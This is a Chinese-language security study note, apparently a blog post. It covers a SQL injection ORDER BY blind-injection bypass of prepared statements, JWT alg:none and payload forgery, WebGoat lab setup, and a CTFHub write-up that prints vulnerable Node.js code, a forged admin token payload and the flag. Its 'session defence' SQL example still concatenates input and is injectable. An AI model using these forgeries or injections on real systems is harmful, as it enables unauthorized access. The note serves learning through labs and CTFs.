一.JavaWeb SQL注入攻击与预编译绕过
一、SQL注入防御方法
- Session防御
// 使用session防止用户篡改参数
String sql = "SELECT * FROM users WHERE user = '" + session.getAttribute("UserID") + "'";
// session存储在服务器端,相对安全
- 预编译机制(参数绑定)
// 正确使用PreparedStatement
String sql = "SELECT * FROM users WHERE username = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, username); // 参数绑定,防止注入
原理:SQL语句预编译后,参数值不会作为SQL指令执行
二、预编译机制绕过技术
ORDER BY注入绕过
-- 利用CASE WHEN进行注入
SELECT * FROM users ORDER BY
(CASE WHEN (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a'
THEN username ELSE id END);
-- 可构造盲注攻击,逐字符猜测数据
二.Java 的jwt令牌原理
JWT(JSON Web Token)身份验证攻击
一、JWT基本结构
- 三部分组成(Base64URL编码)
Header.Payload.Signature
- Header(头部)
{
"alg": "HS256", // 签名算法(HS256、HS512、None等)
"typ": "JWT" // 令牌类型
}
- Payload(声明/载荷)
包含用户信息和其他元数据:
{
"sub": "user123", // 主题(用户ID)
"name": "John Doe",
"exp": 1609459200, // 过期时间
"iat": 1609455600, // 签发时间
"role": "admin" // 用户角色
}
- Signature(签名)
text
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret
)
二、JWT修改伪造攻击
- 算法修改攻击(alg: "none")
// 原始Header
{"alg": "HS256", "typ": "JWT"}
// 修改为
{"alg": "none", "typ": "JWT"}
利用方式:
将算法改为none,删除签名部分
2.服务器可能接受无签名的JWT令牌 未验证声明攻击
修改payload中的敏感字段:
// 原始
{"user": "guest", "role": "user"}
// 修改为
{"user": "admin", "role": "administrator"}
简单的思路如图所示:(同时注意更改结束时间exp,在线网站里面更改时间戳)

可以使用靶场webgoat
下载最新jar包
wget https://github.com/WebGoat/WebGoat/releases/download/v8.2.2/webgoat-server-8.2.2.jar
wget https://github.com/WebGoat/WebGoat/releases/download/v8.2.2/webwolf-8.2.2.jar
启动WebGoat
java -jar webgoat-server-8.2.2.jar --server.port=8080
启动WebWolf(另一个终端)
java -jar webwolf-8.2.2.jar --server.port=9090
方法就跟上面的图和ctf的思路大同小异



三.CTF-Node.js- 前端JWT登录安全-伪造admin实现getflag
https://www.ctfhub.com/#/challenge

进靶场是一个登录的界面

注册登录后尝试抓包

发现:
username=lllxxy&password=123&authorization=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MCwidXNlcm5hbWUiOiJsbGx4eHkiLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTc2NjQ5ODM3Nn0.KGLNWQEYzwpwTxRLi8_1rw1RWJuHa4Qj-XMqNKThVbs
authorization=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MCwidXNlcm5hbWUiOiJsbGx4eHkiLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTc2NjQ5ODM3Nn0.KGLNWQEYzwpwTxRLi8_1rw1RWJuHa4Qj-XMqNKThVbs很有可能是Jwt
用jwt在线网站输入得到:

Set-Cookie: sses:aok=eyJ1c2VybmFtZSI6ImxsbHh4eSIsIl9leHBpcmUiOjE3NjY1ODQ3OTAyNzMsIl9tYXhBZ2UiOjg2NDAwMDAwfQ==; path=/; expires=Wed, 24 Dec 2025 13:59:50 GMT; httponly
Set-Cookie: sses:aok.sig=E5V4dAA2JYpmdhXgmsR55lmAfEs; path=/; expires=Wed, 24 Dec 2025 13:59:50 GMT; httponly

然后放包

发现

可以找到:http://challenge-b9b05e4e541de457.sandbox.ctfhub.com:10800/static/js/app.js

内容:
/**
* 或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录XD
*/
function login() {
const username = $("#username").val();
const password = $("#password").val();
const token = sessionStorage.getItem("token");
$.post("/api/login", {username, password, authorization:token})
.done(function(data) {
const {status} = data;
if(status) {
document.location = "/home";
}
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}
function register() {
const username = $("#username").val();
const password = $("#password").val();
$.post("/api/register", {username, password})
.done(function(data) {
const { token } = data;
sessionStorage.setItem('token', token);
document.location = "/login";
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}
function logout() {
$.get('/api/logout').done(function(data) {
const {status} = data;
if(status) {
document.location = '/login';
}
});
}
function getflag() {
$.get('/api/flag').done(function(data) {
const {flag} = data;
$("#username").val(flag);
}).fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}
然后:http://challenge-b9b05e4e541de457.sandbox.ctfhub.com:10800/controllers/api.js

内容:
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')
const APIError = require('../rest').APIError;
module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}
if(global.secrets.length > 100000) {
global.secrets = [];
}
const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
ctx.rest({
token: token
});
await next();
},
'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
console.log(sid)
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
const status = username === user.username && password === user.password;
if(status) {
ctx.session.username = username;
}
ctx.rest({
status
});
await next();
},
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}
const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});
await next();
},
'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};
用普通注册用户的时候:
"code":"permission error","message":"permission denied"

这里我们分析一下逻辑,注册不能注册成admin, 但只有登录后session 中username为admin才可得到flag 所以这里我们伪造登录token 我们先注册一个账户发现会返回一个token 然后登录时token会作为验证 修改时间戳和用户名
直接让ai给你生成一个

构造攻击载荷:
Header: {"alg":"none","typ":"JWT"} (绕过签名验证)
Payload: {"secretid":[],"username":"admin","password":"123","iat":1734978500}
secretid: [] 利用 Node.js 比较特性 ([] >= 0 为 true) 绕过逻辑检查。
username: "admin" 实现提权。
发起攻击:通过 /api/login 接口提交伪造的JWT,成功获取管理员会话凭证 (sses:aok 和 sses:aok.sig)。
获取凭证:利用管理员Cookie访问受保护的 /api/flag 接口,最终获得Flag。
这是一个将 JWT 协议层漏洞 (alg: none) 与 应用程序逻辑漏洞 (secretid 验证) 结合利用

最后得到:"flag":"ctfhub{f268ba1c0a94d24e10275b03}\n"